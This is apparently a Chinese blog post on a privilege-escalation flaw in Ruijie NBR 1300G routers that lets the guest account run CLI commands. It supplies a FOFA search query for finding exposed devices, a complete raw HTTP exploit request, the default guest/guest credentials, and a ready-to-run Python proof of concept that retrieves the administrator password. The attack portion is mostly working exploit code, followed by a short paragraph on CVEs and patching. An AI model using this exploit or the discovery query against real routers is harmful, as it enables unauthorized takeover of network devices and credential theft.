锐捷 NBR 1300G路由器 越权CLI命令执行漏洞

漏洞描述

锐捷NBR 1300G路由器 越权CLI命令执行漏洞,guest账户可以越权获取管理员账号密码

漏洞复现

FOFA

title="锐捷网络 --NBR路由器--登录界面"

请求包

POST /WEB_VMS/LEVEL15/ HTTP/1.1
Host: 
Connection: keep-alive
Content-Length: 73
Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: auth=; user=
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1

command=show version&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.

测试发现执行其他命令需要权限,查看手册发现存在低权限 guest账户(guest/guest)

登录后发送请求包,执行CLI命令 (show webmaster user) 查看用户配置账号密码

成功获取所有用户的账号密码

webmaster level 0 username admin password guest
webmaster level 0 username guest password guest

漏洞POC

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mVersion: 锐捷NBRNBR1300G 路由器 越权CLI命令执行漏洞                    \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/WEB_VMS/LEVEL15/"
    headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded",
                "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
    }
    data = 'command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.'
    try:
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
        print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
        if "webmaster" in response.text and " password" in response.text and response.status_code == 200:
            user_data = re.findall(r'webmaster level 0 username admin password (.*?)<OPTION>', response.text)[0]
            print("\033[36m[o] 成功获取, 管理员用户账号密码为: admin/{} \033[0m".format(user_data))
        else:
            print("\033[31m[x] 请求失败:{} \033[0m")
    except Exception as e:
        print("\033[31m[x] 请求失败:{} \033[0m".format(e))
        sys.exit(0)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    POC_1(target_url)

执行效果

 

锐捷EG网关和NBR路由器锐捷公司生产的网络设备,近期被曝出存在命令执行漏洞。 该漏洞的存在使得攻击者能够通过特制的网络请求执行恶意命令,从而导致系统被入侵和控制。其中锐捷EG网关的漏洞编号为CVE-2017-17408,而NBR路由器漏洞编号为CVE-2017-17409。 攻击者可以通过发送恶意的HTTP请求或者其他网络请求来利用这些漏洞。一旦成功利用,攻击者可以执行任意命令并获取系统权限。这些命令可能包括修改配置、获取敏感信息或者部署其他恶意软件等。 这些漏洞的存在给网络安全带来了潜在的威胁。攻击者可以通过利用这些漏洞网络设备进行攻击,窃取敏感信息、破坏网络服务或者入侵其他网络设备。 为了解决这些漏洞的问题,锐捷公司已经发布了相应的安全补丁,并且建议用户尽快升级相关设备的固件版本。同时,用户还应该加强网络设备的安全配置,限制对设备的网络访问、设置强密码、及时备份设备配置等。 作为网络设备的用户,我们也应当关注设备厂商的安全公告,定期检查更新并安装相关补丁。此外,加强网络设备的监控和日志记录,及时发现和防范异常行为也是非常重要的。 总之,锐捷EG网关与NBR路由器命令执行漏洞的曝光提醒我们网络安全问题的重要性,需要及时采取相应的措施来保护网络设备和数据的安全。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值